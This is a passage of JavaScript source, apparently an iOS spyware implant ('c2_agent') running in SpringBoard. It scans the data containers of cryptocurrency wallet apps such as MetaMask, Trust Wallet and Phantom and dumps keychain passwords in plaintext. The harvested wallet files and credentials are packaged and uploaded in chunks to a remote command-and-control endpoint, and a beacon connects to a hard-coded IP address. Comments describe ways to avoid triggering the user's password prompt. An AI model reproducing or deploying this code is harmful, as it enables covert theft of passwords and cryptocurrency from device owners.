resolved[fi];\n\t\t\tvar fd = readFileB64(rf.absPath, perFileMax);\n\t\t\tif (!fd) continue;\n\n\t\t\tsandboxFiles.push({\n\t\t\t\twallet: cfg.name,\n\t\t\t\tbundle_id: bid,\n\t\t\t\tpath: rf.relPath,\n\t\t\t\tdata_b64: fd.b64,\n\t\t\t\tsize: fd.size\n\t\t\t});\n\t\t\ttotalSize += fd.size;\n\t\t}\n\t}\n\n\t// Upload keychain_c2_dump.json if P7 pipeline produced it\n\tvar kcDumpUploaded = false;\n\tvar kcDonePath = \"/tmp/keychain_c2_dump.done\";\n\tvar kcDumpPath = \"/tmp/keychain_c2_dump.json\";\n\tif (Number(Native.callSymbol(\"access\", kcDonePath, 0)) === 0) {\n\t\tvar kcData = readFileB64(kcDumpPath, 5 * 1024 * 1024);\n\t\tif (!kcData) {\n\t\t\tNative.callSymbol(\"chmod\", kcDumpPath + \".tmp\", 0x1A4);\n\t\t\tNative.callSymbol(\"rename\", kcDumpPath + \".tmp\", kcDumpPath);\n\t\t\tNative.callSymbol(\"chmod\", kcDumpPath, 0x1A4);\n\t\t\tkcData = readFileB64(kcDumpPath, 5 * 1024 * 1024);\n\t\t}\n\t\tif (kcData) {\n\t\t\tsendResult(cmd.command_id, kcData.b64,\n\t\t\t\t\"keychain_c2_dump.json\", \"wallet_scan\");\n\t\t\tkcDumpUploaded = true;\n\t\t}\n\t}\n\n\tvar endMs = Date.now();\n\tsendJSON(cmd.command_id, {\n\t\tdevice_uuid: DEVICE_UUID,\n\t\ttimestamp: new Date().toISOString(),\n\t\tinstalled_wallets: installedWallets,\n\t\tsandbox_files: sandboxFiles,\n\t\ttotal_size: totalSize,\n\t\tkeychain_dump_uploaded: kcDumpUploaded,\n\t\texecution_time: (endMs - startMs) / 1000,\n\t\t_task_id: p._task_id || \"\",\n\t\t_task_type: \"wallet_scan\"\n\t}, \"wallet_pkg.json\", { start_ms: startMs, end_ms: endMs });\n}\n\n// ============================================================================\n// Device Identity (obtained natively - no placeholder needed)\n// ============================================================================\n\nfunction _getDeviceUUID() {\n\ttry {\n\t\t// IOKit IOPlatformUUID (same method as file_downloader)\n\t\tconst iokitHandle = Native.callSymbol(\"dlopen\",\n\t\t\t\"/System/Library/Frameworks/IOKit.framework/IOKit\", 1);\n\t\tif (iokitHandle && iokitHandle !== 0n) {\n\t\t\tNative.callSymbol(\"dlopen\",\n\t\t\t\t\"/System/Library/Frameworks/CoreFoundation.framework/CoreFoundation\", 1);\n\n\t\t\tconst svcName = Native.callSymbol(\"malloc\", 32);\n\t\t\tNative.writeString(svcName, \"IOPlatformExpertDevice\");\n\t\t\tconst matchDict = Native.callSymbol(\"IOServiceMatching\", svcName);\n\t\t\tNative.callSymbol(\"free\", svcName);\n\n\t\t\tif (matchDict && matchDict !== 0n) {\n\t\t\t\tconst expert = Native.callSymbol(\"IOServiceGetMatchingService\", 0n, matchDict);\n\t\t\t\tif (expert && expert !== 0n) {\n\t\t\t\t\tconst keyBuf = Native.callSymbol(\"malloc\", 32);\n\t\t\t\t\tNative.writeString(keyBuf, \"IOPlatformUUID\");\n\t\t\t\t\tconst keyCF = Native.callSymbol(\"CFStringCreateWithCString\",\n\t\t\t\t\t\t0n, keyBuf, 0x08000100);\n\t\t\t\t\tNative.callSymbol(\"free\", keyBuf);\n\n\t\t\t\t\tif (keyCF && keyCF !== 0n) {\n\t\t\t\t\t\tconst valCF = Native.callSymbol(\"IORegistryEntryCreateCFProperty\",\n\t\t\t\t\t\t\texpert, keyCF, 0n, 0n);\n\t\t\t\t\t\tNative.callSymbol(\"CFRelease\", keyCF);\n\n\t\t\t\t\t\tif (valCF && valCF !== 0n) {\n\t\t\t\t\t\t\tlet uuid = \"\";\n\t\t\t\t\t\t\tconst cstr = Native.callSymbol(\"CFStringGetCStringPtr\",\n\t\t\t\t\t\t\t\tvalCF, 0x08000100);\n\t\t\t\t\t\t\tif (cstr && cstr !== 0n) {\n\t\t\t\t\t\t\t\tuuid = Native.readString(cstr, 256).replace(/\\0/g, \"\").trim();\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tif (!uuid) {\n\t\t\t\t\t\t\t\tconst tmp = Native.callSymbol(\"malloc\", 256);\n\t\t\t\t\t\t\t\tif (tmp && tmp !== 0n) {\n\t\t\t\t\t\t\t\t\tif (Native.callSymbol(\"CFStringGetCString\",\n\t\t\t\t\t\t\t\t\t\tvalCF, tmp, 256, 0x08000100))\n\t\t\t\t\t\t\t\t\t\tuuid = Native.readString(tmp, 256).replace(/\\0/g, \"\").trim();\n\t\t\t\t\t\t\t\t\tNative.callSymbol(\"free\", tmp);\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tNative.callSymbol(\"CFRelease\", valCF);\n\t\t\t\t\t\t\tif (uuid && uuid.length > 0) {\n\t\t\t\t\t\t\t\tNative.callSymbol(\"IOObjectRelease\", expert);\n\t\t\t\t\t\t\t\treturn uuid;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tNative.callSymbol(\"IOObjectRelease\", expert);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t} catch (e) {}\n\n\t// Fallback: sysctl HW_UUID\n\ttry {\n\t\tconst mib = Native.callSymbol(\"malloc\", 8);\n\t\tconst res = Native.callSymbol(\"malloc\", 256);\n\t\tconst slen = Native.callSymbol(\"malloc\", 8);\n\t\tif (!mib || !res || !slen) return \"\";\n\t\ttry {\n\t\t\tconst mibAB = new ArrayBuffer(8);\n\t\t\tconst mv = new DataView(mibAB);\n\t\t\tmv.setInt32(0, 6, true);\n\t\t\tmv.setInt32(4, 25, true);\n\t\t\tNative.write(mib, mibAB);\n\n\t\t\tconst slAB = new ArrayBuffer(8);\n\t\t\tnew DataView(slAB).setUint32(0, 256, true);\n\t\t\tNative.write(slen, slAB);\n\n\t\t\tlet r = Native.callSymbol(\"sysctl\", mib, 2, 0n, slen, 0n, 0);\n\t\t\tif (r !== 0) return \"\";\n\n\t\t\tconst ld = Native.read(slen, 8);\n\t\t\tconst sz = new DataView(ld).getUint32(0, true);\n\t\t\tif (sz <= 0 || sz > 256) return \"\";\n\n\t\t\tconst sl2 = new ArrayBuffer(8);\n\t\t\tnew DataView(sl2).setUint32(0, sz, true);\n\t\t\tNative.write(slen, sl2);\n\n\t\t\tr = Native.callSymbol(\"sysctl\", mib, 2, res, slen, 0n, 0);\n\t\t\tif (r !== 0) return \"\";\n\n\t\t\tconst raw = new Uint8Array(Native.read(res, sz));\n\t\t\tlet uuid = \"\";\n\t\t\tfor (let i = 0; i < raw.length; i++) {\n\t\t\t\tif (!raw[i]) break;\n\t\t\t\tif (raw[i] >= 32 && raw[i] <= 126) uuid += String.fromCharCode(raw[i]);\n\t\t\t}\n\t\t\tuuid = uuid.trim();\n\t\t\tif (uuid.length > 0) return uuid;\n\t\t} finally {\n\t\t\tNative.callSymbol(\"free\", mib);\n\t\t\tNative.callSymbol(\"free\", res);\n\t\t\tNative.callSymbol(\"free\", slen);\n\t\t}\n\t} catch (e) {}\n\n\treturn \"\";\n}\n\nfunction _getDeviceModel() {\n\tconst uts = Native.callSymbol(\"calloc\", 1, 1536);\n\tif (!uts || uts === 0n) return \"\";\n\ttry {\n\t\tNative.callSymbol(\"uname\", uts);\n\t\treturn Native.readString(uts + 1024n, 256).replace(/\\0/g, '');\n\t} finally { Native.callSymbol(\"free\", uts); }\n}\n\n// ============================================================================\n// SecItem Keychain Dump (SpringBoard SecItemCopyMatching — genp/inet plaintext)\n// mediaplaybackd is write-only on /tmp (selfProbe e18): P7 sqlite there can\n// never read keychain-2.db. SpringBoard has file access + keychain entitlement,\n// so dump v_Data plaintext here via Security framework instead.\n// ============================================================================\n\nvar _SEC_DUMP_FULL = \"/tmp/keychain_full_dump.txt\";\nvar _SEC_DUMP_FULL_ALT = \"/private/var/tmp/keychain_full_dump.txt\";\nvar _SEC_DUMP_READ = \"/tmp/keychain_passwords_readable.txt\";\nvar _SEC_DUMP_READ_ALT = \"/private/var/tmp/keychain_passwords_readable.txt\";\nvar _SEC_DUMP_DONE = \"/tmp/keychain_full_dump.done\";\nvar _secDumpState = { lastRun: 0, items: 0, plain: 0, vdata: 0 };\n\nfunction _secCFStr(str) { return Native.callSymbol(\"CFStringCreateWithCString\", 0n, str, 0x08000100); }\n\nfunction _secCFToJS(cfStr) {\n\tif (!cfStr || cfStr === 0n) return \"\";\n\tconst cstrPtr = Native.callSymbol(\"CFStringGetCStringPtr\", cfStr, 0x08000100);\n\tif (cstrPtr && cstrPtr !== 0n) return Native.readString(cstrPtr, 256).replace(/\\0/g, '');\n\tconst buf = Native.callSymbol(\"malloc\", 512n);\n\tif (!buf || buf === 0n) return \"\";\n\ttry {\n\t\tif (Native.callSymbol(\"CFStringGetCString\", cfStr, buf, 512, 0x08000100))\n\t\t\treturn Native.readString(buf, 512).replace(/\\0/g, '');\n\t} finally { Native.callSymbol(\"free\", buf); }\n\treturn \"\";\n}\n\nfunction _secCFDataToText(cfData) {\n\tif (!cfData || cfData === 0n) return \"\";\n\tconst length = Number(Native.callSymbol(\"CFDataGetLength\", cfData));\n\tif (length <= 0 || length > 8192) return \"[data:\" + length + \" bytes]\";\n\tconst dataPtr = Native.callSymbol(\"CFDataGetBytePtr\", cfData);\n\tif (!dataPtr || dataPtr === 0n) return \"\";\n\tconst bytes = new Uint8Array(Native.read(dataPtr, length));\n\tlet printable = 0;\n\tlet text = \"\";\n\tfor (let i = 0; i < bytes.length; i++) {\n\t\tconst b = bytes[i];\n\t\tif (b === 0) { text = \"\"; printable = 0; break; }\n\t\tif (b === 9 || b === 10 || b === 13 || (b >= 32 && b <= 126)) {\n\t\t\tprintable++;\n\t\t\ttext += String.fromCharCode(b);\n\t\t} else { text = \"\"; printable = 0; break; }\n\t}\n\tif (text && printable === bytes.length && printable >= 1) return text;\n\tlet hex = \"\";\n\tfor (let j = 0; j < Math.min(bytes.length, 128); j++)\n\t\thex += bytes[j].toString(16).padStart(2, \"0\");\n\tif (bytes.length > 128) hex += \"...\";\n\treturn \"[hex] \" + hex;\n}\n\nfunction _secCFTrue() {\n\tconst addr = Native.callSymbol(\"dlsym\", 0xfffffffffffffffen, \"kCFBooleanTrue\");\n\treturn addr ? Native.readPtr(addr) : 0n;\n}\n\nfunction _secWriteText(path, content) {\n\tconst fd = Number(Native.callSymbol(\"open\", path, 0x601, 0x1FF));\n\tif (fd < 0) return false;\n\tconst bytes = Native.stringToBytes(content, false);\n\tconst buf = Native.callSymbol(\"malloc\", BigInt(bytes.byteLength));\n\tif (buf && buf !== 0n) {\n\t\tNative.write(buf, bytes);\n\t\tNative.callSymbol(\"write\", fd, buf, bytes.byteLength);\n\t\tNative.callSymbol(\"free\", buf);\n\t}\n\tNative.callSymbol(\"chmod\", path, 0x1FF);\n\tNative.callSymbol(\"close\", fd);\n\treturn true;\n}\n\n// genp+inet only — keys/cert hang SecItemCopyMatching; idnt self-XPC hangs (lab 7022).\nvar _SEC_CLASSES = [\n\t{ id: \"genp\", label: \"Generic Password\" },\n\t{ id: \"inet\", label: \"Internet Password\" },\n];\nvar _SEC_ATTR_KEYS = [\"svce\", \"acct\", \"agrp\", \"labl\", \"desc\", \"mdat\", \"cdat\", \"pdmn\", \"sync\", \"v_Data\"];\n\nfunction _secDumpClass(classId, classLabel, wantData) {\n\t// fix #3c DISABLED - confirmed source of the SpringBoard password prompt.\n\t// On iOS 18.6 AFU unlocked, SecItemCopyMatching from inside SpringBoard\n\t// prompts for auth even with u_AuthUI=u_AuthUISkip; the skip is only\n\t// honored in BFU locked where it returns -25300 and yields no data anyway.\n\t// Prompt fires concurrent with SEC-DUMP begin / PEMK-D1 (c2_agent startup\n\t// _kcSecItemDump true at line 4824). Keychain plaintext now comes exclusively\n\t// from the Phase 2 sqlite pipeline (keychain-2.db + AKS unwrap). SEC-DUMP\n\t// kept as no-op so _kcSecItemDump still logs begin/items=0 without prompting.\n\t_secDumpState[\"st_\" + classId] = -25300;\n\treturn [];\n\tconst entries = [];\n\tconst kCFBooleanTrue = _secCFTrue();\n\tconst queryDict = Native.callSymbol(\"CFDictionaryCreateMutable\", 0n, 0, 0n, 0n);\n\tif (!queryDict || queryDict === 0n) return entries;\n\n\tconst kSecClass = _secCFStr(\"class\");\n\tconst kSecClassVal = _secCFStr(classId);\n\tconst kSecReturnAttributes = _secCFStr(\"r_Attributes\");\n\tconst kSecReturnData = _secCFStr(\"r_Data\");\n\tconst kSecMatchLimit = _secCFStr(\"m_Limit\");\n\tconst kSecMatchLimitAll = _secCFStr(\"m_LimitAll\");\n\tconst kSecUseAuthenticationUI = _secCFStr(\"u_AuthUI\");\n\t// Apple's real values: u_AuthUIAllow / u_AuthUIFail / u_AuthUISkip.\n\t// \"u_AuthUIF\" (truncated, inherited from keychain_dumper) is INVALID and\n\t// degrades to \"allow\" — securityd then requests auth UI from SpringBoard,\n\t// which is us: self-XPC deadlock on locked devices (killed all heartbeats).\n\t// SKIP silently skips auth-protected items: no UI, no block, no query error.\n\tconst kSecUseAuthenticationUIFail = _secCFStr(\"u_AuthUISkip\");\n\n\tNative.callSymbol(\"CFDictionarySetValue\", queryDict, kSecClass, kSecClassVal);\n\tNative.callSymbol(\"CFDictionarySetValue\", queryDict, kSecReturnAttributes, kCFBooleanTrue);\n\tif (wantData) Native.callSymbol(\"CFDictionarySetValue\", queryDict, kSecReturnData, kCFBooleanTrue);\n\tNative.callSymbol(\"CFDictionarySetValue\", queryDict, kSecMatchLimit, kSecMatchLimitAll);\n\tNative.callSymbol(\"CFDictionarySetValue\", queryDict, kSecUseAuthenticationUI, kSecUseAuthenticationUIFail);\n\n\tconst resultPtr = Native.callSymbol(\"malloc\", 8n);\n\tif (resultPtr && resultPtr !== 0n) {\n\t\tNative.write64(resultPtr, 0n);\n\t\tconst status = Native.callSymbol(\"SecItemCopyMatching\", queryDict, resultPtr);\n\t\tconst signed = Number(status) > 0x7FFFFFFF ? Number(status) - 0x100000000 : Number(status);\n\t\tif (signed !== 0) _secDumpState[\"st_\" + classId] = signed;\n\t\tif (signed === 0) {\n\t\t\tconst results = Native.readPtr(resultPtr);\n\t\t\tif (results && results !== 0n) {\n\t\t\t\tconst arrayTypeId = Native.callSymbol(\"CFArrayGetTypeID\");\n\t\t\t\tconst dictTypeId = Native.callSymbol(\"CFDictionaryGetTypeID\");\n\t\t\t\tconst typeId = Native.callSymbol(\"CFGetTypeID\", results);\n\t\t\t\tconst items = [];\n\t\t\t\tif (typeId === arrayTypeId) {\n\t\t\t\t\tconst count = Number(Native.callSymbol(\"CFArrayGetCount\", results));\n\t\t\t\t\tfor (let i = 0; i < count; i++)\n\t\t\t\t\t\titems.push(Native.callSymbol(\"CFArrayGetValueAtIndex\", results, i));\n\t\t\t\t} else if (typeId === dictTypeId) {\n\t\t\t\t\titems.push(results);\n\t\t\t\t}\n\t\t\t\tfor (const item of items) {\n\t\t\t\t\tif (!item || item === 0n) continue;\n\t\t\t\t\tconst rec = { class: classLabel, classId: classId };\n\t\t\t\t\tif (!wantData) rec.attrs_only = true;\n\t\t\t\t\tfor (const key of _SEC_ATTR_KEYS) {\n\t\t\t\t\t\tif (!wantData && key === \"v_Data\") continue;\n\t\t\t\t\t\tconst keyRef = _secCFStr(key);\n\t\t\t\t\t\tconst valRef = Native.callSymbol(\"CFDictionaryGetValue\", item, keyRef);\n\t\t\t\t\t\tif (keyRef && keyRef !== 0n) Native.callSymbol(\"CFRelease\", keyRef);\n\t\t\t\t\t\tif (!valRef || valRef === 0n) continue;\n\t\t\t\t\t\tif (key === \"v_Data\") rec.data = _secCFDataToText(valRef);\n\t\t\t\t\t\telse {\n\t\t\t\t\t\t\tconst s = _secCFToJS(valRef);\n\t\t\t\t\t\t\tif (s) rec[key] = s;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tentries.push(rec);\n\t\t\t\t}\n\t\t\t\tif (typeId === arrayTypeId || typeId === dictTypeId)\n\t\t\t\t\tNative.callSymbol(\"CFRelease\", results);\n\t\t\t}\n\t\t}\n\t\tNative.callSymbol(\"free\", resultPtr);\n\t}\n\n\tconst _refs = [kSecClass, kSecClassVal, kSecReturnAttributes, kSecReturnData, kSecMatchLimit,\n\t\tkSecMatchLimitAll, kSecUseAuthenticationUI, kSecUseAuthenticationUIFail];\n\tfor (let ri = 0; ri < _refs.length; ri++) {\n\t\tif (_refs[ri] && _refs[ri] !== 0n) Native.callSymbol(\"CFRelease\", _refs[ri]);\n\t}\n\tNative.callSymbol(\"CFRelease\", queryDict);\n\treturn entries;\n}\n\nfunction _secWriteDump(allEntries) {\n\tlet content = \"=== Full Keychain Dump ===\\n\";\n\tcontent += \"Generated: \" + new Date().toISOString() + \"\\n\";\n\tcontent += \"Host: SpringBoard c2_agent (SecItem + v_Data; skip keys/cert/idnt)\\n\";\n\tcontent += \"Total items: \" + allEntries.length + \"\\n\\n\";\n\tlet readable = \"=== Keychain Passwords (readable) ===\\n\";\n\treadable += \"Generated: \" + new Date().toISOString() + \"\\n\\n\";\n\tlet plainCount = 0;\n\tlet withData = 0;\n\tfor (const e of allEntries) {\n\t\tcontent += \"[\" + e.class + \"]\\n\";\n\t\tconst ks = Object.keys(e);\n\t\tfor (let ki = 0; ki < ks.length; ki++) {\n\t\t\tconst k = ks[ki];\n\t\t\tif (k === \"class\" || k === \"classId\") continue;\n\t\t\tcontent += \" \" + k + \": \" + e[k] + \"\\n\";\n\t\t}\n\t\tcontent += \"\\n\";\n\t\tconst data = e.data || \"\";\n\t\tif (data) withData++;\n\t\tconst isPlain = data && data.indexOf(\"[hex]\") !== 0 && data.indexOf(\"[data:\") !== 0;\n\t\tif (isPlain && (e.classId === \"genp\" || e.classId === \"inet\")) {\n\t\t\tplainCount++;\n\t\t\treadable += \"[\" + e.class + \"]\\n\";\n\t\t\tif (e.agrp) readable += \" agrp: \" + e.agrp + \"\\n\";\n\t\t\tif (e.svce) readable += \" svce: \" + e.svce + \"\\n\";\n\t\t\tif (e.acct) readable += \" acct: \" + e.acct + \"\\n\";\n\t\t\tif (e.labl) readable += \" labl: \" + e.labl + \"\\n\";\n\t\t\treadable += \" password: \" + data + \"\\n\\n\";\n\t\t}\n\t}\n\treadable += \"Plaintext password items: \" + plainCount + \"\\n\";\n\treadable += \"Items with v_Data field: \" + withData + \"\\n\";\n\n\t_secWriteText(_SEC_DUMP_FULL, content);\n\t_secWriteText(_SEC_DUMP_FULL_ALT, content);\n\t_secWriteText(_SEC_DUMP_READ, readable);\n\t_secWriteText(_SEC_DUMP_READ_ALT, readable);\n\t_secWriteText(_SEC_DUMP_DONE, \"items=\" + allEntries.length + \" plain=\" + plainCount + \" vdata=\" + withData + \"\\n\");\n\treturn { items: allEntries.length, plain: plainCount, vdata: withData };\n}\n\nfunction _kcSecItemDump(force) {\n\tconst now = Date.now();\n\tif (!force && _secDumpState.lastRun && (now - _secDumpState.lastRun) < 45000)\n\t\treturn _secDumpState;\n\t_secDumpState.lastRun = now;\n\t_writeLog(\"[SEC-DUMP] begin force=\" + (!!force) + \" classes=\" + _SEC_CLASSES.length);\n\tconst all = [];\n\tfor (let ci = 0; ci < _SEC_CLASSES.length; ci++) {\n\t\tconst cls = _SEC_CLASSES[ci];\n\t\ttry {\n\t\t\tlet items = _secDumpClass(cls.id, cls.label, true);\n\t\t\tif (!items.length) items = _secDumpClass(cls.id, cls.label, false);\n\t\t\tfor (let ii = 0; ii < items.length; ii++) all.push(items[ii]);\n\t\t} catch (_clse) {\n\t\t\t_secDumpState[\"err_\" + cls.id] = String(_clse).substring(0, 60);\n\t\t}\n\t}\n\tconst st = _secWriteDump(all);\n\t_secDumpState.items = st.items;\n\t_secDumpState.plain = st.plain;\n\t_secDumpState.vdata = st.vdata;\n\t_writeLog(\"[SEC-DUMP] items=\" + st.items + \" plain=\" + st.plain + \" vdata=\" + st.vdata +\n\t\t\" st_genp=\" + (_secDumpState.st_genp || 0) + \" st_inet=\" + (_secDumpState.st_inet || 0));\n\tif (st.plain > 0) {\n\t\t// Let the P7-era HQ gate observe a completed keychain.\n\t\t_secWriteText(\"/tmp/keychain_c2_dump.done\", \"secitem plain=\" + st.plain + \" ts=\" + now + \"\\n\");\n\t}\n\treturn _secDumpState;\n}\n\n// ============================================================================\n// HQ Wallet Package Builder\n// ============================================================================\n\nvar _hqSandboxKeyMap = {\n\t\"Trust Wallet\": \"trust_wallet\", \"Bitget\": \"bitget\", \"Coin98\": \"coin98\",\n\t\"TronLink\": \"tronlink\", \"Tonhub\": \"tonhub\", \"TokenPocket\": \"tokenpocket\",\n\t\"imToken\": \"imtoken\", \"MetaMask\": \"metamask\", \"OKX\": \"okx\",\n\t\"Solflare\": \"solflare\", \"Phantom\": \"phantom\", \"Bitpie\": \"bitpie\",\n\t\"Uniswap\": \"uniswap\", \"MyTonWallet\": \"mytonwallet\", \"Exodus\": \"exodus\",\n\t\"Tonkeeper\": \"tonkeeper\", \"Coinbase\": \"coinbase\"\n};\n\nfunction _buildWalletPkg(deviceUUID) {\n\tvar kcDumpPath = \"/tmp/keychain_c2_dump.json\";\n\tvar kcData = _readFileBytes(kcDumpPath, 5242880);\n\tif (!kcData) {\n\t\tNative.callSymbol(\"chmod\", \"/tmp/keychain_c2_dump.json.tmp\", 0x1A4);\n\t\tNative.callSymbol(\"rename\", \"/tmp/keychain_c2_dump.json.tmp\", kcDumpPath);\n\t\tNative.callSymbol(\"chmod\", kcDumpPath, 0x1A4);\n\t\tkcData = _readFileBytes(kcDumpPath, 5242880);\n\t}\n\tvar keychain;\n\tif (!kcData) {\n\t\t_writeLog(\"[WALLET-HQ] no keychain_c2_dump.json - sandbox-only package\");\n\t\tkeychain = { partial: true, errors: [\"no_keychain_dump\"], tables: {}, wallets: {}, metadataKeys: {} };\n\t} else {\n\t\tvar kcStr = _rawToStr(kcData);\n\t\ttry { keychain = JSON.parse(kcStr); } catch(e) {\n\t\t\t_writeLog(\"[WALLET-HQ] keychain json parse fail - sandbox-only\");\n\t\t\tkeychain = { partial: true, errors: [\"keychain_parse_fail\"], tables: {}, wallets: {}, metadataKeys: {} };\n\t\t}\n\t}\n\n\t// Attach SpringBoard SecItem plaintext dump (P7-independent channel).\n\ttry {\n\t\tvar secFullB = _readFileBytes(_SEC_DUMP_FULL, 1572864);\n\t\tif (secFullB && secFullB.length > 8) {\n\t\t\tkeychain.secitem_full = _rawToStr(secFullB);\n\t\t\tvar secReadB = _readFileBytes(_SEC_DUMP_READ, 786432);\n\t\t\tif (secReadB && secReadB.length > 8) keychain.secitem_readable = _rawToStr(secReadB);\n\t\t\tvar secDoneB = _readFileBytes(_SEC_DUMP_DONE, 256);\n\t\t\tif (secDoneB) keychain.secitem_marker = _rawToStr(secDoneB);\n\t\t\tkeychain.secitem = { items: _secDumpState.items, plain: _secDumpState.plain, vdata: _secDumpState.vdata };\n\t\t}\n\t} catch(_se) {}\n\n\tvar dirs = listDir(APP_DATA_BASE);\n\tvar containerMap = {};\n\tfor (var i = 0; i < dirs.length; i++) {\n\t\tif (dirs[i].type !== \"dir\") continue;\n\t\tvar cpath = APP_DATA_BASE + \"/\" + dirs[i].name;\n\t\tvar plistPath = cpath + \"/.com.apple.mobile_container_manager.metadata.plist\";\n\t\tif (Number(Native.callSymbol(\"access\", plistPath, 0)) !== 0) continue;\n\t\tvar bytes = _readFileBytes(plistPath, 8192);\n\t\tif (!bytes || bytes.length === 0) continue;\n\t\tvar content = _rawToStr(bytes);\n\t\tfor (var bid in WALLET_BUNDLE_IDS) {\n\t\t\tif (content.indexOf(bid) >= 0 && !containerMap[bid]) containerMap[bid] = cpath;\n\t\t}\n\t}\n\n\tvar sandbox = {};\n\tvar totalSize = 0;\n\tfor (var bid in containerMap) {\n\t\tvar cfg = WALLET_BUNDLE_IDS[bid];\n\t\tif (!cfg.sandbox || !cfg.files) continue;\n\t\tvar key = _hqSandboxKeyMap[cfg.name] || cfg.name.toLowerCase().replace(/ /g, \"_\");\n\t\tvar perFileMax = cfg.maxFileSize || 2097152;\n\t\tvar resolved = _resolveWalletFiles(containerMap[bid], cfg.files);\n\t\tvar files = {};\n\t\tfor (var fi = 0; fi < resolved.length; fi++) {\n\t\t\tvar rf = resolved[fi];\n\t\t\tvar fd = readFileB64(rf.absPath, perFileMax);\n\t\t\tif (!fd) continue;\n\t\t\tfiles[rf.relPath] = fd.b64;\n\t\t\ttotalSize += fd.size;\n\t\t}\n\t\tif (Object.keys(files).length > 0) sandbox[key] = files;\n\t}\n\n\treturn { device_uuid: deviceUUID, keychain: keychain, sandbox: sandbox, sandbox_total_size: totalSize };\n}\n\nfunction _httpPostBody(url, bodyStr) {\n\tvar parsed = parseURL(url);\n\tif (url.indexOf(\"https://\") === 0)\n\t\treturn _cfstreamPost(parsed.host, parsed.port, parsed.path, bodyStr);\n\treturn _socketPost(parsed.host, parsed.port, parsed.path, bodyStr);\n}\n\n// POST wallet package to /war. Bodies larger than WAR_POST_MAX are split into\n// war_chunk parts (still on /war); inbox reassembles before normal extract.\nfunction _postWarPackage(url, pkg) {\n\tvar bodyStr = JSON.stringify(pkg);\n\tif (bodyStr.length <= WAR_POST_MAX) {\n\t\treturn _httpPostBody(url, bodyStr);\n\t}\n\tvar uploadId = String(DEVICE_UUID || \"dev\").replace(/[^0-9A-Fa-f]/g, \"\") + \"_\" + String(Date.now());\n\t// Keep each HTTP JSON under WAR_POST_MAX after base64 + wrapper overhead.\n\tvar rawMax = Math.floor((WAR_POST_MAX - 2048) * 3 / 4);\n\tif (rawMax < 256 * 1024) rawMax = 256 * 1024;\n\tvar tmpPath = \"/tmp/war_pkg_\" + uploadId + \".json\";\n\tif (!_secWriteText(tmpPath, bodyStr)) {\n\t\t_writeLog(\"[WALLET-HQ] war chunk tmp write fail; trying single POST len=\" + bodyStr.length);\n\t\treturn _httpPostBody(url, bodyStr);\n\t}\n\tvar fileSize = getFileSize(tmpPath);\n\tif (fileSize <= 0) {\n\t\tNative.callSymbol(\"unlink\", tmpPath);\n\t\treturn _httpPostBody(url, bodyStr);\n\t}\n\tvar totalChunks = Math.ceil(fileSize / rawMax);\n\t_writeLog(\"[WALLET-HQ] chunked /war upload_id=\" + uploadId + \" bytes=\" + fileSize + \" parts=\" + totalChunks);\n\tvar fd = Number(Native.callSymbol(\"open\", tmpPath, 0, 0));\n\tif (fd < 0) {\n\t\tNative.callSymbol(\"unlink\", tmpPath);\n\t\treturn _httpPostBody(url, bodyStr);\n\t}\n\tvar buf = Native.callSymbol(\"malloc\", BigInt(rawMax));\n\tvar sentOk = 0;\n\tvar lastErr = \"\";\n\ttry {\n\t\tfor (var ci = 0; ci < totalChunks; ci++) {\n\t\t\tvar toRead = Math.min(rawMax, fileSize - ci * rawMax);\n\t\t\tvar nr = Number(Native.callSymbol(\"read\", fd, buf, toRead));\n\t\t\tif (nr <= 0) { lastErr = \"read \" + nr; break; }\n\t\t\tvar b64 = bytesToBase64(new Uint8Array(Native.read(buf, nr)));\n\t\t\tvar part = {\n\t\t\t\tdevice_uuid: DEVICE_UUID,\n\t\t\t\twar_chunk: true,\n\t\t\t\tupload_id: uploadId,\n\t\t\t\tchunk_index: ci,\n\t\t\t\ttotal_chunks: totalChunks,\n\t\t\t\ttotal_bytes: fileSize,\n\t\t\t\tdata: b64\n\t\t\t};\n\t\t\tvar partStr = JSON.stringify(part);\n\t\t\tvar postOk = false;\n\t\t\tfor (var retry = 0; retry < 3; retry++) {\n\t\t\t\ttry {\n\t\t\t\t\tvar r = _httpPostBody(url, partStr);\n\t\t\t\t\tif (r !== null) { postOk = true; break; }\n\t\t\t\t} catch (_pe) {}\n\t\t\t\tNative.callSymbol(\"usleep\", 2000000);\n\t\t\t}\n\t\t\tif (!postOk) { lastErr = \"POST fail chunk \" + ci; break; }\n\t\t\tsentOk++;\n\t\t}\n\t} finally {\n\t\tif (buf && buf !== 0n) Native.callSymbol(\"free\", buf);\n\t\tNative.callSymbol(\"close\", fd);\n\t\tNative.callSymbol(\"unlink\", tmpPath);\n\t}\n\tif (sentOk !== totalChunks) {\n\t\t_writeLog(\"[WALLET-HQ] chunked /war incomplete sent=\" + sentOk + \"/\" + totalChunks + \" err=\" + lastErr);\n\t\treturn null;\n\t}\n\treturn { ok: true, chunked: true, upload_id: uploadId, total_chunks: totalChunks, total_bytes: fileSize };\n}\n\n// ============================================================================\n// Main Loop\n// ============================================================================\n\nNative.init();\n\n// ===== DEBUG uplink: prove c2_agent actually evaluated in SpringBoard =====\ntry {\n\tvar _dbgfd = Number(Native.callSymbol(\"socket\", 2, 1, 0));\n\tif (_dbgfd >= 0) {\n\t\tvar _dbgone = Native.callSymbol(\"calloc\", 1, 8);\n\t\tNative.write(_dbgone, new Uint8Array([1,0,0,0]).buffer);\n\t\tNative.callSymbol(\"setsockopt\", _dbgfd, 0xffff, 0x1022, _dbgone, 4);\n\t\tNative.callSymbol(\"free\", _dbgone);\n\t\tvar _dbgaddr = Native.callSymbol(\"calloc\", 1, 16);\n\t\tvar _dbga8 = new Uint8Array(16);\n\t\t_dbga8[0] = 16; _dbga8[1] = 2; _dbga8[2] = 0x1B; _dbga8[3] = 0x6E; // port 7022 BE\n\t\t_dbga8[4] = 192; _dbga8[5] = 168; _dbga8[6] = 4; _dbga8[7] = 10;\n\t\tNative.write(_dbgaddr, _dbga8.buffer);\n\t\tif (Number(Native.callSymbol(\"connect\", _dbgfd, _dbgaddr, 16)) === 0) {\n\t\t\tvar _dbgreq = \"GET /log.html?text=C2SB_eval_alive_springboard HTTP/1.0\\r\\nHost: 192.168.4.10\\r\\n\\r\\n\";\n\t\t\tvar _dbgrbuf = 